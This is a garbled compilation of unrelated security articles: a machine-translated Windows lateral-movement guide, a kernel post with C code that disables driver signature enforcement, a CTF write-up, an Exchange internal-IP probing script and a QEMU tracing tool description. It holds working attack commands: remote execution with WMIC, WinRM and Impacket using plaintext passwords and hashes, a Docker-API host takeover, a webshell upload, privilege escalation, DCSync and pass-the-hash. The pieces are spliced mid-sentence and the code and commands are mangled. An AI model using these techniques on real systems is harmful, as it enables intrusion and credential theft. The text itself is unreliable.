//wmic /node: '[フルマシン名]' /user: '[domain] \ [username]' path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1

リモートプロセス情報をクエリします

wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスリスト概要

WMICコマンドの実行にはエコーがないため、結果はtxtに書き込まれます

wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'cmd.exe /c ipconfig c: \ result.txt' \ result.txt '

wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'cmd.exe /cコマンドC: \ result.txt'

wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'directory \ backdoor.exe'を作成する

///ノード:動作するサーバーを指定します

ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。認証操作を除き、WMICリモート実行コマンドは通常の状況ではログを生成しません。コマンドライン監査関数のみがオンになります。 WMICコマンドを使用して操作を実行する場合、関連するイベントはWindowsイベントログに記録されます。

ukcvizyks3k975.png

dcomの利用

実行方法は、VPNおよびSocksメソッドと同じです。 https://www.freebuf.com/articles/web/293280.html

winrm利用

実行方法は、VPNおよびSocksメソッドと同じです。 http://www.mchz.com.cn/cn/service/safety-lab/info_26_itemid_4124.htmlwinrmは、同じネットワークのWindowsコンピューターがアクセスしてアクセスして情報を交換できるようにすることにより、WS-Managementプロトコルを実行することにより、リモート管理を実装します。

Windows-2008以上のサーバーでは、WinRMサービスが自動的に開始されます。水平ムーブメントにWinRMサービスを使用する場合、リモートホストの管理者資格情報が必要です。

WinRMサービスをインストールします

1. Winrmを有効にするかどうかを確認します

winrm e winrm/config/リスナー

エラーが報告されている場合、有効になりません

2。サービスをオンにします

管理者モードでCMDを使用します。 PowerShellは実行されないためです

Winrm QuickConfig

2つの質問があります。「Y」を入力するだけです

3。WINRMサービス設定AUTH

winrm set winrm/config/service/auth '@{basic=' true '}'

4.非暗号化を許可するようにWinRMサービスの暗号化方法を構成します(これが構成されていない場合、リモート接続はエラーを引き起こします)

winrm set winrm/config/service '@{lowtunencrypted=' true '}'

5。WinRM構成を確認します

winrm get winrm/config

TrustEdhostsを構成します

winrm set winrm/config/client @{trustedhosts='10 .10.10.10 '} #trusted host 10.10.10.10

set -item wsman:localhost \ client \ trustedhosts -value * #powershell trustすべてのホスト

コマンド実行

Winrs -R:333http://10.10.10.10.10:5985 -U:ADMINISTRATOR -P:ADMIN!@#456 'Whoami'

Winrs -R:3http://10.10.10.10.10:5985 -U:ADMINISTRATOR -P:ADMIN!@#456 'CMD'

xxxqa03kzuu976.png

ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。認証操作を除き、コマンドのWinRMリモート実行は通常の状況ではログを生成しません。

pzeh4wa0zx3977.png

Linuxは水平浸透

を実行します

一般的に、水平方向の浸透がLinuxで実行され、ImpacketツールキットはPythonスクリプトである侵入に使用されます。

wmiexec.py

実行方法は、VPNおよびSocksメソッドと同じです。 Windows Management Instrumentationを使用して半対話シェルを生成し、管理者として実行します。ターゲットサーバーにサービス/エージェントをインストールする必要はないため、非常に隠されています。

python wmiexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]

python wmiexec.py vvvv1/admins:user \!@#45@10.10.10.10(注:パスワードに1つある場合は、エスケープする必要があります)

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

gwcley3beox978.png

ログインログはドメインコントロールホストに残されていますが、ソックストンネルのクライアントホストはログインログに残りません。

a1rhbjivqph979.png

psexec.py

実行方法は、VPNおよびSocksメソッドと同じです。 psexec.pyを使用すると、リモートWindowsシステムでプロセスを実行したり、ファイルをコピーしたり、処理出力の結果を返したりできます。さらに、完全なインタラクティブコンソール(クライアントソフトウェアをインストールする必要はありません)を使用して、リモートシェルコマンドを直接実行できます。

python psexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]

python psexec.py vvvv1/admins:user \!@#45@10.10.10.10

#ハッシュパスワード接続を介してターゲットドメインユーザーインタラクティブシェルを取得する

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

4yrvt2qt1z0980.png

PSEXECを使用する場合、ログインログはドメインコントロールで生成されるだけでなく、ターゲットマシンでもログ情報が生成されます。

イベントID:7045

公式のPSEXECツールを使用します

4girlldxeiw981.png

ImpacketパッケージのPSEXECツールを使用して接続すると、生成されたサービス名が自動的に変更されることがわかります(サービスに特定の隠された効果があります)

如今,代碼簽名證書的洩露和針對驅動程序的漏洞利用已經成為司空見慣的事情,內核已經成為攻擊者新的狩獵場。隨著微軟推出基於虛擬化的安全(VBS)和管理程序代碼完整性(HVCI)等技術,我想知道面對具有Ring-0權限的攻擊者時,端點有多容易受到攻擊。

在這篇文章中,我們將探討一種用於禁用驅動程序強制簽名的常見技術,VBS是如何試圖阻止攻擊者利用這一點的;以及在沒有結合HVCI的情況下,繞過這種安全措施是多麼的輕鬆。

驅動程序強制簽名機制一段時間以來,Windows一直使用驅動強制簽名(DSE)機制來防止攻擊者將未簽名的驅動程序加載到內核中。這是一種非常有效的方法,可以確保攻擊者無法輕易繞過內核中實現的各種安全功能,例如通過破壞EPROCESS字段來繞過PPL(Process Protection Light,PPL)。

為了克服這個障礙,攻擊者有多條路可走。第一條路是向目標發送一個易受攻擊的驅動程序,該驅動程序符合所有的簽名要求,但允許攻擊者利用其缺陷進行內存修改,以便將未簽名的驅動程序加載到內核。第二條路是利用以前暴露的簽名證書給自己的驅動程序代碼簽名,這樣就可以將其直接加載到內核中了。而隨著最近越來越多的簽名證書被洩露,該技術已經成為了攻擊者的首選。

禁用驅動程序強制簽名機制那麼,如果我們想要禁用驅動程序強制簽名機制,又不想將OS重新引導至調試或測試模式,那該怎麼辦呢?實際上,在Windows的最新版本中,DSE是通過一個名為ci.dll的模塊實現的,並且在該模塊中公開了一個名為g_CiOptions的配置變量:

1.png

這個配置變量具有許多可設置的標誌,但就本文來說,可以直接將其設置為0來完全禁用DSE,從而允許攻擊者加載未簽名的驅動程序。

在很長一段時間裡,作為一種將未簽名的驅動程序加載到操作系統中的簡單手段,都是堪稱完美的。但後來Windows10引入了VBS機制,這種方法就從此失效了。

基於虛擬化的安全保護機制如今,微軟在保護內核不被篡改方面做出了巨大的努力。 David Weston在2018年的Bluehat會議上發表了一篇精彩的演講,對個中緣由進行了全面的總結,其中主要的方面就是安全法則的不斷變化。諸如“如果攻擊者能說服受害者自己的電腦上運行其程序,那這台電腦就不再屬於攻擊者了”這樣的法則已經不再成立,因為微軟已經花了很大的力氣來提高操作系統的安全性,從而防止這種事情的發生。

微軟為提高內核的安全性而部署的技術之一被稱為“基於虛擬化的安全機制”。該機制在Windows 10和11系統中是默認啟用的,並提供了一個受管理程序保護的環境,來運行第二個“安全內核”,而運行在Ring-0級別上的傳統內核是無法觸及該環境的。

注意:就目前來說,許多人都把VBS和HVCI混為一談了。實際上,VBS並不是HVCI。 HVCI可以被看作是在VBS的保護傘下運行,但需要單獨的配置才能啟用。

那麼,VBS是如何防止用洩漏的證書或易受攻擊的驅動程序禁用驅動程序強制簽名機制的呢?為了弄清楚這一點,先讓我們看看CI.dll中g_CiOptions變量是如何解析的:

1.png

我們可以看到,這裡使用了MmProtectDriverSection,它是作為一種叫做內核數據保護(KDP)的技術的一部分而提供的API。這個API的作用,就是確保傳遞內存地址時,在Ring-0中運行的代碼無法修改其內容。

即使我們試圖使用像WinDBG這樣連接到內核的程序(通過設置DebugFlags為0x10來啟用DSE),我們仍然無法更新存儲的值。

1.png

這意味著,為了在VBS被啟用的情況下禁用DSE,我們必須另尋他法。

利用補丁技術禁用DSE對於熟悉AMSI繞過技術的讀者來說,對於接下來要介紹的方法肯定不會陌生:補丁技術。首先,我們需要知道在哪裡打補丁,所以,讓我們進入內核調試器會話,並在安全策略會進行審查的地方添加一個斷點。根據對CI.dll的了解,CiCheckPolicyBits函數看起來是一個下斷點的好地方。從這裡開始,如果嘗試加載一個未簽名的驅動程序,會看到如下所示的調用堆棧:

1.png

就像上面看到的那樣,執行流程通過SeValidateImageHeader函數從內核進入CI,而該函數調用了CiValidateImageHeader函數。實際上,該函數的作用就是驗證驅動程序是否符合簽名要求。接下來,讓我們給SeValidateImageHeader添加一個斷點,看看CiValidateImageHeader在無法成功加載未簽名的驅動程序時會返回什麼。

1.png

在我看來,這好像是一個NTSTATUS代碼。在幻數數據庫中的搜索結果顯示,c0000428對應於STATUS_INVALID_IMAGE_HASH。所以,我們可以推測,如果這個函數返回STATUS_SUCCESS,我們就可以繞過這個簽名檢查。幸運的是,我們也知道這個方法並不受內核數據保護的保護,所以,我們現在只需想出一個允許向這個內存位置執行寫操作的方法即可。

利用已簽名的驅動程序禁用DSE首先,讓我們創建一個簡單的驅動程序,以便將來用於禁用DSE。很明顯,這個程序在創建之後,必須用證書籤名才能加載。由於在下一節將變得很明顯的原因,我們將專注於通過讀/寫操作來植入CiValidateImageHeader。

我們先在內核中修改CiValidateImageHeader的內存保護。最直接的方法是直接修改虛擬地址的頁表項(PTE)。為了抓取CiValidateImageHeader的頁表項,我們首先需要找到一種方法,允許我們將虛擬地址轉換為其對應的PTE。

對於熟悉遊戲作弊技術的人來說,已經猜到在這種情況下可以使用的函數是MiGetPteAddress。關於這個方法的詳細介紹,請參閱@33y0re關於PTE覆蓋的相關文章。基本上,這個函數能夠找出稍後用到的PTE基址;下圖中,該地址為0FFFFCE8000000000,但在每次重啟後,該地址都會發生變化:

1.png

為了找到這個函數,我們需要在內存中尋找一個字節簽名。為此,我們可以用下面的代碼來完成該任務:

void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){

for(inti=0;imaxHuntLength;i++){

if(base[i]==inSig[0]){

if(memcmp(base+i,inSig,length)==0){

returnbase+i;

}

}

}

returnNULL;

}

.通過在內存中搜索與MiGetPteAddress匹配的簽名,我們可以提取PTE的基址,並將虛擬地址解析為PTE位置:

charMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};

void*FindPageTableEntry(void*addr){

ULONG_PTRMiGetPteAddress=signatureSearch(ExAcquireSpinLockSharedAtDpcLevel,MiGetPteAddressSig,sizeof(MiGetPteAddressSig),0x30000);

if(MiGetPteAddress==NULL){

returnNULL;

}

ULONG_PTRPTEBase=*(ULONG_PTR*)(MiGetPteAddress+sizeof(MiGetPteAddressSig));

ULONG_PTRaddress=addr;

address=address9;

address=0x7FFFFFFFF8;

address+=(ULONG_PTR)PTEBase;

returnaddress;

}現在,我們已經能夠解析虛擬地址的PTE了,接下來,我們需要找到CivalidateImageHeader的虛擬地址。由於該函數不是由ci.dll導出的,因此,我們將再次通過簽名進行查找:

charCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0x89,0x45,0x50,0x48,0x8b};

constintCiValidateImageHeaderSigOffset=0x23;

ULONG_PTRCiValidateImageHeader=signatureSearch(CiValidateFileObjectPtr,CiValidateImageHeaderSig,sizeof(CiValidateImageHeaderSig),0x100000);

if(CiValidateImageHeader==NULL){

return;

}

CiValidateImageHeader-=CiValidateImageHeaderSigOffset;一旦我們找到該地址,我們就可以獲得其PTE位置。為此,我們只需要對PTE中相應的位進行翻轉,從而迫使包含CiValidateImageHeader的內存頁變為是可寫的:

ULONG64*pte=FindPageTableEntry(CiValidateImageHeader);

*pte=*pte|2;當頁面設置為可寫時,我們接下來就可以用xor rax, rax; ret來修補函數的開頭部分;注意備份好原始指令,以便以後還原:

charretShell[]={0x48,0x31,0xc0,0xc3};

charorigBytes[4];

memcpy(origBytes,CiValidateImageHeader,4);

memcpy(CiValidateImageHeader,retShell,4);然後,恢復頁面保護:

*pte=*pte^2;

//Afterthis,pageprotectionisreverted完成上述操作後,讓我們嘗試加載未簽名的驅動程序:

演示視頻:https://youtu.be/uSNivgtM5BM

加載未簽名驅動程序後,要考慮的另一件重要事情,就是恢復以前打過補丁的函數,以避免PatchGuard從中作梗,具體如下所示:

*pte=*pte|2;

memcpy(CiValidateImageHeader,origBytes,4);

*pte=*pte^2;通過易受攻擊的驅動程序禁用DSE現在,讓我們考慮另一個場景:如果我們希望使用易受攻擊的驅動程序,而不是通過用洩露的證書籤名的惡意驅動程序禁用DSE的話,那該怎麼辦?正如我們在上面所看到的,我們所需要的只是一個易受攻擊的驅動程序中的讀/寫原語,並且,這些並非難事!

下面,讓我們詳細介紹如何使用易受攻擊的驅動程序來禁用DSE。在本例中,我們將使用Intel的iqvw64e.sys驅動程序,它已經流行了一段時間。由於我們這次不是在內核中執行代碼,所以,我們就必須執行一些額外的步驟來計算用戶模式下的地址。

首先,我們需要確定ntoskrnl.exe和ci.dll的基址。為此,我們可以使用NtQuerySystemInformation和SystemModuleInformation輕鬆實現這一點:

ULONG_PTRGetKernelModuleAddress(constchar*name){

DWORDsize=0;

void*buffer=NULL;

PRTL_PROCESS_MODULESmodules;

NTSTATUSstatus=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);

while(status==STATUS_INFO_LENGTH_MISMATCH){

VirtualFree(buffer,0,MEM_RELEASE);

buffer=VirtualAlloc(NULL,size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

status=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);

}

if(!NT_SUCCESS(status))

{

VirtualFree(buffer,0,MEM_RELEASE);

returnNULL;

}

modules=(PRTL_PROCESS_MODULES)buffer;

for(inti=0;imodules-NumberOfModules;i++)

{

char*currentName=(char*)modules-Modules[i].FullPathName+modules-Modules[i].OffsetToFileName;

if(!_stricmp(currentName,name)){

ULONG_PTRresult=(ULONG_PTR)modules-Modules[i].ImageBase;

VirtualFree(buffer,0,MEM_RELEASE);

returnresult;

}

}

VirtualFree(buffer,0,MEM_RELEASE);

returnNULL;

}

.

ULONG_PTRkernelBase=GetKernelModuleAddress('ntoskrnl.exe');

ULONG_PTRciBase=GetKernelModuleAddress('CI.dll');接下來,我們需要進行簽名搜索。這裡最簡單的方法就是將我們的文件映射為SEC_IMAGE並在內存中搜索PE節:

void*mapFileIntoMemory(constchar*path){

HANDLEfileHandle=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(fileHandle==INVALID_HANDLE_VALUE){

returnNULL;

}

HANDLEfileMapping=CreateFileMapping(fileHandle,NULL,PAGE_READONLY|SEC_IMAGE,0,0,NULL);

if(fileMapping==NULL){

CloseHandle(fileHandle);

returnNULL;

}

void*fileMap=MapViewOfFile(fileMapping,FILE_MAP_READ,0,0,0);

if(fileMap==NULL){

CloseHandle(fileMapping);

CloseHandle(fileHandle);

}

returnfileMap;

}

void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){

for(inti=0;imaxHuntLength;i++){

if(base[i]==inSig[0]){

if(memcmp(base+i,inSig,length)==0){

returnbase+i;

}

}

}

returnNULL;

}

ULONG_PTRsignatureSearchInSection(char*section,char*base,char*inSig,intlength){

IMAGE_DOS_HEADER*dosHeader=(IMAGE_DOS_HEADER*)base;

IMAGE_NT_HEADERS64*ntHeaders=(IMAGE_NT_HEADERS64*)((char*)base+dosHeader-e_lfanew);

IMAGE_SECTION_HEADER*sectionHeaders=(IMAGE_SECTION_HEADER*)((char*)ntHeaders+sizeof(IMAGE_NT_HEADERS64));

IMAGE_SECTION_HEADER*textSection=NULL;

ULONG_PTRgadgetSearch=NULL;

for(inti=0;intHeaders-FileHeader.NumberOfSections;i++){

if(memcmp(sectionHeaders[i].Name,section,strlen(section))==0){

textSection=sectionHeaders[i];

break;

}

}

if(textSection==NULL){

returnNULL;

}

gadgetSearch=(ULONG_PTR)signatureSearch(((char*)base+textSection-VirtualAddress),inSig,length,textSection-SizeOfRawData);

returngadgetSearch;

}

.

constcharMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};

constcharCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0

说明

Unauthorized是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

技术

FTP、Privilege Elevation、AD CS、Kerberos、域渗透

第一个flag

docker 未授权

通过外网信息收集,发现docker未授权

https://cloud.tencent.com/developer/article/1744943

xjxcto1pn2b14391.png

查看镜像

docker -H tcp://47.92.7.138:2375 images
a0zat0qdpvx14393.png

查看容器

docker -H tcp://47.92.7.138:2375 ps -a
vwfslauxbm314395.png

启动容器并将宿主机磁盘挂载到/mnt

docker -H tcp://47.92.7.138:2375 run -it -v /:/mnt --entrypoint /bin/bash ubuntu:18.04
0zeh0sqhw2y14397.png

写入公钥

在vps上生成秘钥,敲下回车后会有3个交互,第一个是文件名,默认是id_rsa,如需修改,自己输入一个文件名便可。第二与第三是密码与确认密码,是以后使用该公钥时要输入的密码,一般不设置,如有强烈的安全需求,自己设置便可。最后会生成两个文件id_rsa,id_rsa.pub。以.pub结尾的是公钥,另一个是私钥

ssh-keygen -t rsa
z2tbzzobbzg14399.png

将公钥其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中

cd /mnt/root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2......." > authorized_keys
i211tcrcdut14400.png

可以本地直接用私钥登录ssh

f01z021g3ca14401.png

查找flag,提示flag并不在这里

b02biunxwkn14402.png

mysql弱口令

查看本机开放的端口

netstat -aptn
r34u4qu1xvm14403.png

查看历史命令,找到mysql密码为123456,其实爆破也能爆破出来

history
mm02q2zmwln14404.png

访问mysql数据库

mysql -uroot -p123456

mysql> show databases;
mysql> use secret;
mysql> show tables;
mysql> select * from f1agggg01

获得第一个flag

3cvrvsmczm314405.png

‍第二个flag

横向渗透

上传npc设置代理,fscan扫描 172.22.7.0/24

172.22.7.67:8081 open
172.22.7.13:80 open
172.22.7.13:22 open
172.22.7.67:445 open
172.22.7.31:445 open
172.22.7.67:21 open
172.22.7.6:445 open
172.22.7.67:80 open
172.22.7.67:139 open
172.22.7.31:139 open
172.22.7.6:139 open
172.22.7.31:135 open
172.22.7.67:135 open
172.22.7.6:135 open
172.22.7.6:88 open
172.22.7.13:2375 open
[+] NetInfo:
[*]172.22.7.6
   [->]DC02
   [->]172.22.7.6
[*] 172.22.7.67          XIAORANG\WIN-9BMCSG0S  
[*] WebTitle:http://172.22.7.13        code:200 len:27170  title:某某装饰
[+] NetInfo:
[*]172.22.7.67
   [->]WIN-9BMCSG0S
   [->]172.22.7.67
[+] NetInfo:
[*]172.22.7.31
   [->]ADCS
   [->]172.22.7.31
[*] 172.22.7.31          XIAORANG\ADCS          
[*] 172.22.7.6     [+]DC XIAORANG\DC02          
[*] WebTitle:http://172.22.7.13:2375   code:404 len:29     title:None
[+] ftp://172.22.7.67:21:anonymous 
   [->]1-1P3201024310-L.zip
   [->]1-1P320102603C1.zip
   [->]1-1P320102609447.zip
   [->]1-1P320102615Q3.zip
   [->]1-1P320102621J7.zip
   [->]1-1P320102J30-L.zip
[*] WebTitle:http://172.22.7.67        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.7.67:8081   code:200 len:4621   title:公司管理后台
[+] http://172.22.7.13:2375 poc-yaml-docker-api-unauthorized-rce 
[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file
[+] http://172.22.7.13:2375 poc-yaml-go-pprof-leak 

FTP未授权

发现了http://172.22.7.67:8081/www.zip 备份压缩包 ,解压后发现download的文件夹与匿名登录的ftp的共享文件一致

ll2lpcmwmqq14406.png

因此可以通过ftp上传 webshell

atnrkjepv5v14407.png

shell地址

http://172.22.7.67:8081/download/shell.asp
bo0jelxc3hp14408.png

直接使用土豆提权,上传SweetPotato.exe

SweetPotato.exe -a "whoami"
5ubk5neouyw14409.png

经测试3389是开启的,直接添加账号然后登录

SweetPotato.exe -a "net user devyn Admin@123 /add"
SweetPotato.exe -a "net localgroup administrators devyn /add"
mumwo3av4l214410.png

获取flag

bytuvurfb3j14411.png

‍第三个flag

注意此新建的用户无法执行域命令,所以需要查询到域账号,然后使用PTH登录,如果找到密码可以直接登录,其实也可以直接在shell中执行mimikatz抓取Hash,这边远程桌面使用cmd执行方便一点

抓取到了域账户 zhangfeng/FenzGTaVF6En,重新使用域账号登录,注意用户名要填写 zhangfeng@xiaorang.lab

sci4f1aelxf14412.png

shadow-credentials

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

以下账户拥有 msDS-KeyCredentialLink 属性的写入权限:

  • 域管理员账户
  • Key Admins 组中的账户
  • Enterprise Key Admins 组中的账户
  • 对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户
  • 机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限

zhangfeng账户在Key Admins组中,具有写入权限

ed31si4uflm14413.png

向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials

Whisker.exe add /target:DC02$ /domain:xiaorang.lab /dc:DC02.xiaorang.lab
e1ao525p12v14414.png

添加成功后,程序提示命令,基于证书的身份验证请求TGT票据,注意提示命令的最后加上 /ptt

sv3vyhwcp5a14415.png

域控制器账户拥有特权,可以使用 Mimikatz 执行 DCSync 来导出域管哈希

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
qmye3mt3j4v14416.png

哈希传递

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:bf967c5a0f7256e2eaba589fbd29a382 Administrator@172.22.7.6
gwgowq4x24l14417.png
pgrr53ves0v14418.png

原文链接: https://zhuanlan.zhihu.com/p/581451146

0x00 前言在滲透測試中,為了蒐集信息,常常需要從外網獲得Exchange服務器的內網IP,公開資料顯示msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持這個功能,但是這個插件公開於2012年,已不再適用於Exchange 2013、2016和2019,本文將要介紹一種更為通用的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

owa_iis_internal_ip插件介紹

更為通用的方法

Python開源代碼

0x02 owa_iis_internal_ip插件介紹msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持探測Exchange服務器的內網IP,對應kali系統下的位置為:/usr/share/metasploit-framework/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb

github上的地址為:https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb

通過閱讀源碼,可以總結出實現原理:

設置HTTP協議為1.0並訪問特定URL

在返回數據中,如果狀態碼為401,在Header中的'WWW-Authenticate'會包含內網IP

在返回數據中,如果狀態碼位於300和310之間,在Header中的'Location'會包含內網IP

在提取IP時,使用正則表達式(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}),這裡存在bug:只能篩選出格式為'192.168.*.*'的內網IP

為了修復這個bug,可以將正則表達式修改為([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})

注:

修改插件後需要執行命令reload_all來重新加載msf插件

修復上面的bug後,我在測試Exchange 2013、2016和2019時仍然無法獲得準確的內網IP

0x03 更為通用的方法這裡給出一種基於owa_iis_internal_ip插件的方法,使用Python實現,適用範圍更廣

思路如下:

利用Python設置HTTP協議為1.0並訪問特定URL,在報錯結果中暴露出Exchange服務器的內網IP

需要細節如下:

(1)Python設置HTTP協議為1.0

Python2:

importrequests

importhttplib

httplib.HTTPConnection._http_vsn=10

httplib.HTTPConnection._http_vsn_str='HTTP/1.0'Python3:

importrequests

fromhttpimportclient

client.HTTPConnection._http_vsn=10

client.HTTPConnection._http_vsn_str='HTTP/1.0'(2)設置訪問URL

owa_iis_internal_ip插件中提到的URL:

urls=['/Microsoft-Server-ActiveSync/default.eas',

'/Microsoft-Server-ActiveSync',

'/Autodiscover/Autodiscover.xml',

'/Autodiscover',

'/Exchange',

'/Rpc',

'/EWS/Exchange.asmx',

'/EWS/Services.wsdl',

'/EWS',

'/ecp',

'/OAB',

'/OWA',

'/aspnet_client',

'/PowerShell']經過多個環境的測試,更為精確的URL如下:

urls=['/OWA',

'/Autodiscover',

'/Exchange',

'/ecp',

'/aspnet_client'](3)測試代碼

#python3

importrequests

importurllib3

urllib3.disable_warnings()

fromhttpimportclient

client.HTTPConnection._http_vsn=10

client.HTTPConnection._http_vsn_str='HTTP/1.0'

try:

url='https://mail.test.com/OWA'

response=requests.get(url,verify=False)

print(response.status_code)

print(response.text)

print(response.headers)

exceptExceptionase:

print(e)回顯結果:

HTTPSConnectionPool(host='192.168.1.1', port=443): Max retries exceeded with url:/owa/auth/logon.aspx?url=https://192.168.1.1/OWA/reason=0 (Caused by NewConnectionError('

從報錯信息中,我們可以看到Exchange服務器的IP,這裡只需要加一個正則表達式host='(.*?)',即可提取出來IP

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetInternalIP.py

代碼支持5種方式探測內網IP

目前測試結果顯示,該腳本支持Exchange 2010、2013、2016和2019,能夠穩定獲得內網IP

0x05 小結本文分析了msf的auxiliary/scanner/http/owa_iis_internal_ip插件,對於獲得Exchange服務器的內網IP,給出了一個更為通用的方法,開源代碼,記錄細節。

Cannoli是一款面向qemu用戶的高性能跟踪引擎,是一個Rust 編寫的Python(Python 3.6.5) 編譯器,旨在評估對性能有負面影響的Python 語言特性。它可以記錄所執行的PC 以及內存操作的軌跡。

Cannoli 旨在以最小的QEMU 執行干擾記錄這些信息。這意味著QEMU 需要產生一個事件流,並將它們移交給另一個進程來處理更複雜的事件分析。在QEMU JIT執行期間進行分析會大大降低執行速度。

Cannoli可以每秒處理數十億條目標指令,可以處理多線程qemu-user應用程序,並允許多個線程使用來自單個QEMU線程的數據以並行處理跟踪。

性能要求QEMU中有一個trace模塊,可以對於一些函數進行跟踪,例如qemu_malloc, qemu_free等,對於QEMU本身的調試很用幫助。跟踪的一個大問題就是性能。許多簡單的解決方案(如使用Unicorn進行模擬)可能導致每秒只能得到100萬條左右的模擬指令。這聽起來可能很多,但是現代的x86處理器通常每個週期執行2條指令。如果你在4 GHz處理器上運行,運行或啟動需要1秒,通常會執行50 -100億條指令。簡而言之,以每秒1000 萬條指令的速度跟踪這樣的事情對於任何開發或研究週期來說都是非常緩慢的。

僅僅試圖獲取PC 的執行指令地址的完整日誌通常就很困難,更不用說記錄所有內存訪問。

這就不得不用到Cannoli了!

Cannoli 能夠執行QEMU 的完整跟踪,比基本QEMU 執行速度降低約20-80%。這意味著每秒可以獲得大約10 億條目標指令。不過,這會因你的CPU 時鐘頻率、系統噪聲等而有很大差異。我們稍後會詳細介紹性能,因為存在很多細微差別。 Cannoli 經過精心設計,可以將超過20 GiB/s的數據從單個QEMU 線程流式傳輸到多線程跟踪分析過程。

QEMU 補丁作為用戶,最好打個補丁,其中包含大約200 行新添加的內容。這些都是用#ifdef CANNOLI進行控制的,這樣,如果CANNOLI沒有定義,QEMU構建時就完全等同於沒有任何補丁。

這些補丁與用戶沒有太大的相關性,只是知道它們向QEMU添加了一個-cannoli標誌,該標誌期望獲得到共享庫的路徑。這個共享庫被加載到QEMU中,並在JIT的不同位置調用

要打補丁,運行執行以下命令:

git am qemu_patches.patch

Cannoli服務器加載到QEMU 中的共享庫稱為Cannoli 服務器。該庫在cannoli_server/src/lib.rs 中公開了兩個基本回調函數。

3.png

這些掛鉤為用戶提供了一個機會來決定是否應該掛鉤給定的指令或內存訪問。返回true(默認值)會導致檢測指令。返回false 意味著沒有向JIT 添加任何檢測,因此QEMU以高速模擬的方式運行。

當QEMU提取目標指令時,將調用此API。在這種情況下,提取是模擬器的核心操作,它在其中反彙編目標指令,並將其轉換為IL 或JIT 到另一個架構中執行。由於QEMU緩存它已經提取的指令,這些函數被稱為'rarely'(與指令本身執行的頻率有關),因此這是你應該放入智能邏輯以過濾掛鉤內容的位置。

如果掛載少量指令,該工具的性能消耗幾乎為零。 Cannoli旨在為完全跟踪提供非常低的消耗,但是如果你不需要完全跟踪,你應該在這個階段進行過濾。這從一開始就防止了JIT被檢測到,並為最終用戶提供了一種過濾機制。

Cannoli客戶端然後Cannoli 有一個客戶端組件,客戶端的目標是處理QEMU 產生的海量數據流。此外,Cannoli 的API 在設計時考慮了線程,因此單個線程可以在qemu-user 中運行,並且可以通過線程化分析來完成對該流的複雜分析,同時在QEMU 本身中獲得最大的單核性能。

Cannoli 公開了一個標準的Rust 特徵樣式接口,你可以在你的結構上實現Cannoli。作為這個特徵的實現者,你必須實現init。這是你為單線程可變上下文Self 以及多線程共享不可變上下文Self:Context 創建結構的位置。

然後,你可以選擇實現以下回調:

4.png

這些回調是相對不言自明的,除了線程方面。三個主要的執行回調exec、read 和write 可以從多個線程並行調用。因此,這些不是按順序調用的。這是應該進行無狀態處理的地方。它們也只有對Self:Context 的不可變訪問,因為它們是並行運行的。這是進行任何不需要知道指令或內存訪問的順序/順序的處理的正確位置。例如,應在此處完成從pc 轉換為符號+ 地址的符號應用,以便你可以進行符號化跟踪。

所有主要的回調,exec、read 和write,都返回一個Option

